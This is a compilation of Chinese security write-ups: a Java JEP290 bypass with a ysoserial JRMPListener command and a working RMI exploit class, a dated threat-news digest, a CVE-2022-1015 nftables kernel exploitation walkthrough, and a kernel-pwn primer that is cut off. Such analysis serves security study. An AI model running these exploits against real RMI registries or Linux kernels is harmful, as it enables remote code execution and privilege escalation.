0x02 关于 JEP290
JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案,主要做了以下几件事
1、提供一个限制反序列化类的机制,白名单或者黑名单。2、限制反序列化的深度和复杂度。3、为 RMI 远程调用对象提供了一个验证类的机制。4、定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器。
官方从 8u121,7u13,6u141 分别支持了这个 JEP
0x03 JEP290 防御手段分析
先起一个 RMI 的服务,代码详见 —— https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/RMI
尝试去攻击,这里会报错,报错部分信息为
java.io.ObjectInputStream filterCheck
信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler
可以先看一下官方文档对于 JEP290 的描述 http://openjdk.java.net/jeps/290
我们很容易通过描述来看对应增加的 Filter 点是什么,如图找到了 ObjectInputFilter 相关的类
我这里去看了看 ObjectInputFilter 相关的类,断点是下不去的,所以去到控制台去看,发现在 RegistryImpl_Skel 类中也存在报错现象,而这个类在 RMI 中是用来做反序列化的方法的。
跟进,ObjectInputStream 类调用了 readObject0() 方法,继续跟进
先获取输入当中 blkmode,如果数据为 true,则继续进行后续判断,后续做了一部分的数据处理工作,我们直接来看最重要的地方 1573 行,调用了 checkResolve() 方法,跟进
跟进 readClassDesc() 方法,这个方法主要是读取并返回类描述符,并判断这一类描述符是否可以解析为本地 VM 中的类。
在 readClassDesc() 方法中,判断 tc 所对应的类型,这里跟进 readProxyDesc() 方法
readProxyDesc() 方法做完一系列基础判断之后调用了 filterCheck() 方法,跟进
而 filterCheck() 方法又调用了 checkInput() 方法,这里应该是最终来判断输入是否合法的地方。
这里的判断会进行两次,一个是开启 JVM 的 java.rmi.Remote 类,另一个是我们放入的恶意利用类 sun.reflect.annotation.AnnotationInvocationHandler,第一次会先判断 java.rmi.Remote 类是否合法
对应的判断代码,其实也就是白名单了。代码会首先判断 var2 是否等于 String 类型。如果不是,则继续判断它是否满足下列几个条件中的任意一个:
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var
而这里,我们的 sun.reflect.annotation.AnnotationInvocationHandler 类并不在这些白名单中,所以会被过滤
0x04 JEP290 绕过
这里我们可以先看一下白名单里面都能过什么,白名单如下
String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class
这里我觉得还是得从它在 JDK8u221 的具体环境下的流程分析入手,看一下在攻击流程之后哪里可以能够被利用,哪里可以 bypass
绕过利用
思考了在 RMI 的流程当中,哪一步能够绕过 JEP290 的检测,最终是 JRMP 的这一步,能够绕过,从原理图来说的话应该是这样
先用 ysoserial 开启 JRMP 3333 端口的监听
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc"
然后编写 RMI 的 EXP
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class BypassJEP290 {
public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(BypassJEP290.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
reg.bind("Hello",proxy);
}
}
这个 payload 的原理就是伪造了一个 UnicastRef 用于跟注册中心通信,我们从 bind() 方法开始分析一下这一整个流程。
绕过分析
我们通过 getRegistry 时获得的注册中心,其实就是一个封装了 UnicastServerRef 对象的对象
当我们调用 bind 方法后,会通过 UnicastRef 对象中存储的信息与注册中心进行通信
这里会通过 ref 与注册中心通信,并将绑定的对象名称以及要绑定的远程对象发过去,注册中心在后续会对应进行反序列化
接着来看看 yso 中的 JRMPClient 是做了什么操作
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
这里返回了一个代理对象,上面用的这些类都在白名单里,当注册中心反序列化时,会调用到RemoteObjectInvacationHandler父类RemoteObject的readObject方法(因为RemoteObjectInvacationHandler没有readObject方法),在readObject里的最后一行会调用ref.readExternal方法,并将ObjectInputStream传进去:
这里的调用栈非常长,总体上来说就是在做我上面所说的工作,调用栈如下
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io) // 从此处开始,会遇到很多字节码不匹配的问题
dispatch:92, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1330984495 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
一路跟进到 sun.rmi.transport.LiveRef#read
可以看到这里把 payload 里所传入的 LiveRef 解析到 var5 变量处,里面包含了 ip 与 端口 信息(JRMPListener 的端口)。这些信息将用于后面注册中心与 JRMP 端建立通信。
跟进 saveRef() 方法,里面做了一个映射,其建立了一个 TCPEndpoint 到 ArrayList<LiveRef> 的映射关系。
到这里 JRMP 的通信流程基本结束了,接着再回到 dispatch() 方法,在调用了 readObject 方法之后调用了 var2.releaseInputStream();,跟进
releaseInputStream() 方法调用了 this.in.registerRefs() 方法,跟进。其中先判断了当前保存的 Ref 是否为空,再获取当前 Ref,这个 Ref 实际上就是创建的 JRMP 连接,再跟进 registerRefs() 方法
var2这里返回的是 DGCClient 对象,里边同样封装了我们的端口信息
接着看到 registerRefs 方法中的 this.makeDirtyCall(var2, var3);,跟进一下
里面主要是做了数据处理,将原本保存了 EndPoint 的 var1 —— HashSet 数组转换为 ObjID,同时,调用了 this.dgc.dirty() 方法,跟进。
在 dirty() 方法中调用 wirteObject() 方法后,会用 invoke() 将数据发出去。
invoke() 方法实现的过程就是从 socket 连接中先读取了输入,然后直接反序列化,此时的反序列化并没有设置 filter(白名单),所以这里可以直接导致注册中心 rce,所以我们可以伪造一个 socket 连接并把我们恶意序列化的对象发过去,这也就是当时用 ysoserial 开启的 JRMP
至此绕过分析结束
0x05 小结
本身 JEP290 的绕过分析的思路是非常清晰的,但是整个流程还是比较复杂的,总结一下是从 RMI 通信的流程当中找到了可乘之机。
网络安全日报 2023年07月05日
1、攻击者利用GuLoader传播Remcos远控木马
https://blog.morphisec.com/guloader-campaign-targets-law-firms-in-the-us 研究人员发现一起利用GuLoader传播Remcos远控木马的网络钓鱼攻击活动。攻击者向目标发送钓鱼邮件,在附件中给出一个看似加密的PDF文件,并在邮件正文中提供PIN码。PDF文件显示该文件需要解密后才能够进行查看,攻击者以此引诱目标用户点击该PDF中的图标,从而跳转至图标中包含的链接。该链接指向的网站要求用户输入PIN码,并提供下一阶段的VBS脚本。该脚本经过混淆处理,执行后从github.io域中获取GuLoader,并最终执行Remcos远
2、仍有超过30万台FortiGate防火墙受到FortiOS漏洞的影响
https://bishopfox.com/blog/cve-2023-27997-exploitable-and-fortigate-firewalls-vulnerable FortiGate防火墙受到CVE-2023-27997安全漏洞的影响,该漏洞将会导致远程代码执行,评分为9.8。FortiOS是将所有Fortinet网络组件连接起来以进行集成的操作系统,该漏洞是由FortiOS中基于堆的缓冲区溢出问题造成的。Fortinet于6月11日解决了该漏洞问题,但研究人员经过调查后发现,目前仍有超过30万台FortiGate防火墙设备没有进行安全更新,面临安全风险。
3、研究人员捕获大量二维码网络钓鱼邮件
https://www.inky.com/en/blog/fresh-phish-malicious-qr-codes-are-quickly-retrieving-employee-credentials 近期,研究人员捕获到数百封二维码网络钓鱼邮件,目标受害者主要在美国和澳大利亚,涉及非盈利组织、财富管理公司、管理顾问、土地测量师、地板公司等。这些钓鱼邮件通常会仿冒成一些知名的公司,在邮件中嵌入二维码图片,并通过二维码将用户引导至一个经过伪造的网页中,以此诱使用户输入凭证。
4、墨西哥黑客利用 Android 恶意软件攻击全球银行
https://thehackernews.com/2023/07/mexico-based-hacker-targets-global.html 一名来自墨西哥的电子犯罪分子与 2021 年 6 月至 2023 年 4 月期间针对全球金融机构的 Android 移动恶意软件活动有关,但特别关注西班牙和智利的银行。
5、Evasive Meduza Stealer 针对 19 个密码管理器和 76 个加密钱包
https://thehackernews.com/2023/07/evasive-meduza-stealer-targets-19.html 犯罪软件即服务 ( https://thehackernews.com/2023/06/new-mystic-stealer-malware-targets-40.html ) 生态系统利润丰厚的另一个迹象是,网络安全研究人员发现了一种名为Meduza Stealer的新型基于 Windows 的信息窃取程序,其作者正在积极开发该程序,以逃避软件解决方案的检测。
6、黑客从 Poly Network 平台窃取了价值数百万美元的加密资产
https://securityaffairs.com/148129/cyber-crime/poly-network-platform-hacked.html 由于网络攻击导致数百万美元的加密资产被盗,Poly Network 平台在周末暂停了服务。威胁行为者从 Poly Network 平台窃取了价值数百万美元的加密资产。
7、警惕!“AI换脸”诈骗出现涉政苗头
https://www.secrss.com/articles/56227 近期,各地曝出多起人工智能“辅助”诈骗案件。一些不法分子利用人工智能“深度伪造”冒充领导干部行骗,值得引起高度警惕。
8、BlackCat勒索团伙通过恶意广告分发伪装成 WinSCP 的勒索软件
https://thehackernews.com/2023/07/blackcat-operators-distributing.html 恶意广告是指利用SEO中毒技术通过在线广告传播恶意软件。它通常包括劫持一组选定的关键字,在Bing和Google的搜索结果页面上显示虚假广告,以将用户引到一些恶意网站。
9、微软否认重大 3000 万客户数据泄露事件
https://www.infosecurity-magazine.com/news/microsoft-denies-major-30-million/ “目前,我们对数据的分析表明,这不是合法的主张和数据汇总。我们没有看到任何证据表明我们的客户数据已被访问或泄露。”微软指出。
10、安全人员发现大量TikTok、Instagram 和雅虎的数据泄露
https://socradar.io/major-data-leaks-on-tiktok-instagram-and-yahoo/ 一位 SORadar 暗网分析师最近发现了 Instagram 涉嫌数据库泄露的情况。据报道,泄露的数据包含超过 1700 万条 JSON 格式的记录。数据的性质表明它可能是从开源收集的。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Nftables栈溢出漏洞(CVE-2022-1015)复现
背景介绍
Nftables
Nftables 是一个基于内核的包过滤框架,用于 Linux操作系统中的网络安全和防火墙功能。nftables的设计目标是提供一种更简单、更灵活和更高效的方式来管理网络数据包的流量。
钩子点(Hook Point)
钩子点的作用是拦截数据包,然后对数据包进行修改,比较,丢弃和放行等操作。
// include/uapi/linux/netfilter_ipv4.h
#define NF_IP_PRE_ROUTING 0 /* After promisc drops, checksum checks. */
#define NF_IP_LOCAL_IN 1 /* If the packet is destined for this box. */
#define NF_IP_FORWARD 2 /* If the packet is destined for another interface. */
#define NF_IP_LOCAL_OUT 3 /* Packets coming from a local process. */
#define NF_IP_POST_ROUTING 4 /* Packets about to hit the wire. */
#define NF_IP_NUMHOOKS 5
Nftables的架构
Nftables由四部分组成
table(表):用于指定网络协议的类型,如ip,ip6,arp等
chains(链):用于指定流量的类型,如流入的流量或者是流出的流量并可以指定网络接口,如本地回环接口或者以太网接口等。
rules(规则):规则是用于过滤数据包所依据的规则,例如检查协议、来源、目的地、端口等规则。
express(表达式):表达式则是具体的操作。
使用非常形象的图描述,如下
表达式(express)
表达式是对一个数据包具体的操作,这里大致介绍后续需要用到的表达式。
nft_payload
nft_payload用于将数据包的值拷贝到寄存器中
struct nft_payload {
enum nft_payload_bases base:8;
u8 offset;
u8 len;
u8 dreg;
};
base:数据包类型
offset:数据包起始位置的偏移
len:拷贝的长度
dreg:目的寄存器
其中base的类型由enum nft_payload_bases指定
/* include/uapi/linux/netfilter/nf_tables.h */
/**
* enum nft_payload_bases - nf_tables payload expression offset bases
*
* @NFT_PAYLOAD_LL_HEADER: link layer header
* @NFT_PAYLOAD_NETWORK_HEADER: network header
* @NFT_PAYLOAD_TRANSPORT_HEADER: transport header
* @NFT_PAYLOAD_INNER_HEADER: inner header / payload
*/
enum nft_payload_bases {
NFT_PAYLOAD_LL_HEADER, //链路层
NFT_PAYLOAD_NETWORK_HEADER, //网络层
NFT_PAYLOAD_TRANSPORT_HEADER, //传输层
NFT_PAYLOAD_INNER_HEADER, //数据包内部
};
下面这个例子则是将传输层的包偏移16个字节的位置,取出两个字节的内容存放到目的寄存器中,该寄存器的编号为2
base = NFT_PAYLOAD_TRANSPORT_HEADER
offset = 16 -> the checksum is 16 bytes away from the start of the TCP header
len = 2 -> the checksum is 2 bytes
dreg = NFT_REG32_02 (the small registers start frrom NFT_REG32_00)
nft_payload_set
nft_payload_set则是与nft_payload相反,该表达式是将指定寄存器的值存放到数据包里面
/* include/net/netfilter/nf_tables_core.h */
struct nft_payload_set {
enum nft_payload_bases base:8;
u8 offset;
u8 len;
u8 sreg;
u8 csum_type;
u8 csum_offset;
u8 csum_flags;
};
与nft_payload不同的是多了校验和的可选选项
nft_cmp_expr
nft_cmp_expr表达式则是用于比较,通常用于判断数据包的端口号是否是需要符合要求。
struct nft_cmp_expr {
struct nft_data data;
u8 sreg;
u8 len;
enum nft_cmp_ops op:8;
};
data:用于设置比较的常量值
sreg:源寄存器,可以认为是数据包取出的内容
len:比较的长度
op:比较的操作,具体操作类型如下所示
<!-- -->/**
* enum nft_cmp_ops - nf_tables relational operator
*
* @NFT_CMP_EQ: equal
* @NFT_CMP_NEQ: not equal
* @NFT_CMP_LT: less than
* @NFT_CMP_LTE: less than or equal to
* @NFT_CMP_GT: greater than
* @NFT_CMP_GTE: greater than or equal to
*/
enum nft_cmp_ops {
NFT_CMP_EQ,
NFT_CMP_NEQ,
NFT_CMP_LT,
NFT_CMP_LTE,
NFT_CMP_GT,
NFT_CMP_GTE,
};
nft_bitwise
nft_bitwise用于对数据包进行比特级别的操作。例如移位,掩码设置等。
struct nft_bitwise {
u8 sreg;
u8 dreg;
enum nft_bitwise_ops op:8;
u8 len;
struct nft_data mask;
struct nft_data xor;
struct nft_data data;
};
sreg:源寄存器
dreg:目的寄存器,用于存放最后的结果
op:指定具体的比特操作,具体操作如下
<!-- -->/**
* enum nft_bitwise_ops - nf_tables bitwise operations
*
* @NFT_BITWISE_BOOL: mask-and-xor operation used to implement NOT, AND, OR and
* XOR boolean operations
* @NFT_BITWISE_LSHIFT: left-shift operation
* @NFT_BITWISE_RSHIFT: right-shift operation
*/
enum nft_bitwise_ops {
NFT_BITWISE_BOOL,
NFT_BITWISE_LSHIFT,
NFT_BITWISE_RSHIFT,
};
mask:当op被指定为NFT_BITWISE_BOOL时,sreg的值会与mask中指定的值进行掩码设置操作。并将结果存放到dreg中
xor:当op被指定为NFT_BITWISE_BOOL时,sreg的值会与xor中指定的值进行掩码设置操作。并将结果存放到dreg中
data:当op被指定为NFT_BITWISE_LSHIFT或NFT_BITWISE_RSHIFT时,data需要被指定移位的数值。
寄存器(register)
在Nftables中是以寄存器作为存储区,用于存放一段连续的内存,现在Nftables版本每个寄存器的值存放4字节数据,而旧版的Nftables的每个寄存器是存放16个字节的数据,为了保持兼容性,4字节的寄存与16字节的寄存器都被保留。寄存器的枚举值如下所示
enum nft_registers {
NFT_REG_VERDICT, //判定寄存器
NFT_REG_1,
NFT_REG_2,
NFT_REG_3,
NFT_REG_4,
__NFT_REG_MAX,
NFT_REG32_00 = 8,
NFT_REG32_01,
NFT_REG32_02,
...
NFT_REG32_13,
NFT_REG32_14,
NFT_REG32_15,
};
其中NFT_REG_VERDICT被称之为判断寄存器,这个寄存器比较特殊,是用于判定每个数据包需要怎么处理。判定的类型如下
NFT_CONTINUE:允许数据包通过防火墙
NFT_BREAK:跳过剩余的规则表达式
NF_DROP:直接丢弃数据包
NF_ACCEPT:接收数据包
NFT_GOTO:跳转到其他链执行
NFT_JUMP:跳转到其他链执行,若其他链将该数据包判定为NFT_CONTINUE则返回当前链
libmnl与libnftnl
由于Nftables处于内核,需要从用户层向内核发送消息去设置需要拦截数据包的属性,人工构造成本较大,因此使用现成的库libmnl与libnftnl
环境搭建
环境版本
ubuntu 20.04
qemu-system-x86_64 4.2.1
Linux-5.17源码
设置编译选项
cd /home/pwn/CVE/CVE-2022-1015/CVE-2022-1015/linux-5.17
sudo gedit .config
#将下列选项设置为y
CONFIG_NF_TABLES=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_USER_NS=y
CONFIG_E1000=y
CONFIG_E1000E=y
make -j32 bzImage #编译
#安装依赖库
sudo apt-get install libmnl-dev
sudo apt-get install libnftnl-dev
漏洞验证
若运行exp显示超过边界则代表没有漏洞
若exp正常运行则代表漏洞
漏洞分析
源码分析
nft_parse_register_load
nft_cmp_expr:op=NFT_CMP_EQ sreg=8data=IPPROTO_TCP。该表达式是一个比较的表达式,用于比较下标为8的寄存器中的数据是否为TCP的协议。那么如何将下表为8的寄存器转化为内核中寄存器的内存位置,则需要以来下面列举的函数。
nft_parse_register_load函数就是将用户设定的寄存器的下标转化为内核寄存器的下标,然后存储在源寄存器中。
File: net\netfilter\nf_tables_api.c
9325: int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
9326: {
9327: u32 reg;
9328: int err;
9329:
9330: reg = nft_parse_register(attr); //用于提取数据包中的寄存器的下标,并转化为Nftables中寄存器的下标
9331: err = nft_validate_register_load(reg, len); //用于检验寄存器下表的合法性,漏洞点
9332: if (err < 0)
9333: return err;
9334:
9335: *sreg = reg; //然后将寄存器的下标值存储在源寄存器中
9336: return 0;
9337: }
nft_parse_register
nft_parse_register函数用于将用户设置的寄存器下标转化为内核中寄存器的下标。
File: net\netfilter\nf_tables_api.c
9278: static unsigned int nft_parse_register(const struct nlattr *attr)
9279: {
9280: unsigned int reg;
9281:
9282: reg = ntohl(nla_get_be32(attr)); //提取数据包的寄存器下标,比如上述例子为8
9283: switch (reg) {
//0 - 4是16字节寄存器
9284: case NFT_REG_VERDICT...NFT_REG_4:
9285: return reg * NFT_REG_SIZE / NFT_REG32_SIZE; //reg * 4
9286: default:
//由于4字节寄存器起始下标为8,因此要减去起始下标
9287: return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00; // reg - 4
9288: }
9289: }
nft_validate_register_load
nft_validate_register_load函数则是用于校验下标是否有问题,但是这个检验存在整型溢出的问题。reg是枚举值,而枚举通常会被编译为int类型。len代表数据包的长度。
正常情况下:reg = 100,那么套入校验则为100 * 4 + 0x10 = 0x1a0 >0x50,那么会检验出寄存器下标存在问题
漏洞情况:reg =0xffffffff(int情况下的最大值),那么逃入检验则为0xffffffff * 4 +0x10 =0x40000000c,由于int最大值为0xffffffff,那么最高4个比特会被舍弃,那么最后得到的值为0x0000000c,此时0xc< 0x50,就可以绕过检验。那么绕过检验后就会执行* sreg =reg,此时reg = 0xffffffff,就会导致*sreg = 0xff
<!-- -->File: net\netfilter\nf_tables_api.c
9313: static int nft_validate_register_load(enum nft_registers reg, unsigned int len)
9314: {
9315: if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE) // reg < 4则报错
9316: return -EINVAL;
9317: if (len == 0) //长度为0则报错
9318: return -EINVAL;
9319: if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data)) //reg * 4 + len > 0x50则报错,存在整型溢出漏洞
9320: return -ERANGE;
9321:
9322: return 0;
9323: }
nft_do_chain
每一个被拦截的数据包都需要经过链上的表达式进行处理,而链处理的函数则为nft_do_chains,这个函数会提取出相应的表达式,最后调用expr_call_ops_eval函数进行处理。
File: net\netfilter\nf_tables_core.c
197: unsigned int
198: nft_do_chain(struct nft_pktinfo *pkt, void *priv)
199: {
...
224: for (; rule < last_rule; rule = nft_rule_next(rule)) {
225: nft_rule_dp_for_each_expr(expr, last, rule) {
226: if (expr->ops == &nft_cmp_fast_ops)
227: nft_cmp_fast_eval(expr, ®s);
228: else if (expr->ops == &nft_bitwise_fast_ops)
229: nft_bitwise_fast_eval(expr, ®s);
230: else if (expr->ops != &nft_payload_fast_ops ||
231: !nft_payload_fast_eval(expr, ®s, pkt))
232: expr_call_ops_eval(expr, ®s, pkt);
233:
234: if (regs.verdict.code != NFT_CONTINUE)
235: break;
236: }
...
expr_call_ops_eval
expr_call_ops_eval函数则是根据不同的表达式选择不同的处理函数,例如若该数据包需要经过nft_payload的表达式处理,则会调用nft_payload_eval。
File: net\netfilter\nf_tables_core.c
161: static void expr_call_ops_eval(const struct nft_expr *expr,
162: struct nft_regs *regs,
163: struct nft_pktinfo *pkt)
164: {
165: #ifdef CONFIG_RETPOLINE
166: unsigned long e = (unsigned long)expr->ops->eval;
167: #define X(e, fun) \
168: do { if ((e) == (unsigned long)(fun)) \
169: return fun(expr, regs, pkt); } while (0)
170:
171: X(e, nft_payload_eval);
172: X(e, nft_cmp_eval);
173: X(e, nft_counter_eval);
174: X(e, nft_meta_get_eval);
175: X(e, nft_lookup_eval);
176: X(e, nft_range_eval);
177: X(e, nft_immediate_eval);
178: X(e, nft_byteorder_eval);
179: X(e, nft_dynset_eval);
180: X(e, nft_rt_get_eval);
181: X(e, nft_bitwise_eval);
182: #undef X
183: #endif /* CONFIG_RETPOLINE */
184: expr->ops->eval(expr, regs, pkt);
185: }
nft_payload_eval
这里可以看到regs存放在栈上面,dest这个变量值是通过®s->data[priv->dreg]取出来的,而priv->dreg则是通过上述的nft_parse_register_load函数进行提取的,那么这里就存在一个非常明显的数组越界的漏洞。
File: net\netfilter\nft_payload.c
121: void nft_payload_eval(const struct nft_expr *expr,
122: struct nft_regs *regs,
123: const struct nft_pktinfo *pkt)
124: {
125: const struct nft_payload *priv = nft_expr_priv(expr);
126: const struct sk_buff *skb = pkt->skb;
127: u32 *dest = ®s->data[priv->dreg];
...
165: if (skb_copy_bits(skb, offset, dest, priv->len) < 0) //拷贝数据
166: goto err;
167: return;
168: err:
169: regs->verdict.code = NFT_BREAK;
170: }
因此整型溢出结合越界就能够使我们访问到内核栈上的其他数据,如下图所示。
漏洞利用
漏洞利用分析
现在我们拥有了访问内核栈上其它地址的能力了,想要做到任意代码执行则需要考虑下列几种情况
由于返回地址存在在栈上,需要判断数组越界是否能够到达返回地址的位置
如何通过数组越界改写返回地址
由于需要进行任意代码执行,那么需要用到内核函数,则需要得到内核的程序基地址才能够根据函数偏移地址计算出函数的实际地址
由于表达式都会对寄存器空间进行操作,因此可以使用表达式对内存空间进行读写操作。
nft_bitwise表达式可以控制源寄存器和目的寄存器,那么采用nft_bitwise可以将源寄存器的内容放置到目的寄存器中,因此可以利用nft_bitwise进行越界读,此时需要分析该数组越界读的边界的大小是多少。这里需要注意的是由于len是sreg与dreg共同拥有的,为了dreg不越界,这里的长度最大值只能为0x40而不能为0xff,因为拥有16个寄存器,每个寄存器的值为4个字节,因此16* 4 = 64 = 0x40
上界:(0xffffffff * 4) + 0x40 = 0x40000003c = 0x3c < 0x50 , 0xff* 4 = 0x3fc;由于可以拷贝0x40个字节的长度,因此0x3fc + 0x40 =0x43c。
下界:(0xfffffff0 * 4 ) + 0x40 = 0x400000000 = 0x0 < 0x50, 0xf0 *4 = 0x3c0
内核地址泄露
接着查看regs偏移0x3c0处的地址信息,结果发现在该片区域存在一个明显的内核地址,因此若能将这个地址进行泄露,我们就能获取内核的基地址。
返回地址覆盖
由于需要构建的payload比较长,而我们如果利用nft_wise最多只能写入0x43c -0x3c0 =0x7c的长度,是远远不够的,因此对返回地址进行覆盖时不能使用nft_bitwise,而得改用nft_payload。nft_payload需要dreg的下标以及修改的长度len,由于我们只需要考虑一个寄存器的值,因此该寄存器的长度最大可以达到0xff。因此我们可以在地址更低的位置去搜索有无可以覆盖的返回地址。
可以发现在0x360的地址处也有一个内核的代码段地址
并且可以发现该函数主要是处理udp包的发送
为了检验该地址是否能够修改程序的执行流程,可以使用一个方法,将该地址的值修改为非法值并观察内核是否会崩溃,这里将地址的内容修改为0x1122334455667788,接着运行程序。
可以看到内核报错的信息显示RIP的地址为刚刚我们修改的地址,因此该地址可以作为被劫持程序执行流程的地址。
exp分析
现在我们已经具有了两个利用条件
泄露内核的程序基地址
找到可以劫持程序执行流程的地址值
地址泄露
利用nft_bitwise泄露地址,这里注意的是在使用nft_bitwise泄露地址时,需要将data值设置为0,这样就不会进行移位而导致我们的内核地址被修改存储,最后将泄露的地址值放置在NFT_REG32_05下标的寄存器中
接着使用nft_set_payload将udp数据包的值修改为NFT_REG32_05寄存器的值,最后取出udp数据包的值,获取内核程序地址值
返回地址覆盖
利用nft_payload完成返回地址的覆盖
在数据包中将payload填充进去,这里需要说明一下如何在内核中拿到shell权限
首先需要在内核中拿到root权限,需要调用commit_creds(prepare_kernel_cred(0))的内核函数获取新的凭证结构,而该结构的uid = 0 ,gid =0即为root权限
其次需要切换命名空间,由于在普通用户下是无法直接调用Nftables的,因为需要管理员的权限,因此在普通用户下需要新开辟一个命名空间,使得该空间与正常的空间隔离,此时才能够正常执行Nftales。那么如果逃逸这段命名空间则需要进行命名空间的切换,则依赖于switch_task_namespace函数,可以将命名空间切换为root的命名空间
最后则是实现从内核态切换到用户态,由于我们是在内核空间拿到权限,而我们需要在用户态执行,因此需要完成状态的转换,该状态转换依赖于swapgs_restore_regs函数
漏洞修复
补丁则是新增一条判断条件,属于4字节寄存器的下标单独处理,而不在16字节寄存器以及4字节寄存器的范围内的下标都进行报错处理
总结
Nftables栈溢出漏洞攻击流程
首先利用nft_bitwise进行内核基地址的泄露。
其次是利用nft_payload改写返回地址,并将提权代码注入进去。
最后等到代码被触发。
Nftables栈溢出漏洞利用的限制
不同的内核版本的内核栈布局几乎不同,因此不同版本之间的利用手法相差较大,因此漏洞的利用十分依赖于内核版本,针对不同的版本需要做出针对性的漏洞利用的exp编写。差别存在于内核栈中存在的内核代码段地址的偏移不同,例如有些内核代码段地址偏移距离regs太大,导致无法利用漏洞进行泄露或者改写。
kernel pwn入门
Linux Kernel 介绍
Linux 内核是 Linux操作系统的核心组件,它提供了操作系统的基本功能和服务。它是一个开源软件,由Linus Torvalds 在 1991 年开始开发,并得到了全球广泛的贡献和支持。
Linux内核的主要功能包括进程管理、内存管理、文件系统、网络通信、设备驱动程序等。它负责管理计算机硬件和软件资源,并为应用程序提供必要的基础支持。Linux内核是一个模块化的系统,可以根据需要加载和卸载各种驱动程序和功能模块。
Linux Kernel 环境
vmlinuz或bzImage:linux内核的压缩镜像
vmlinux:linux内核的符号表
initramfs.cpio.gz:文件系统,有系统启动的信息
run.sh:qemu启动的shell脚本,里面有linux内核开启了哪些保护
Linux Kernel gadget获取
通过压缩的linux内核镜像获取符号表
./extract-image.sh ./vmlinuz > vmlinux
extract-image.sh
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011 Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------
check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1
cat $1
exit 0
}
try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.
# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}
# Check invocation:
me=${0##*/}
img=$1
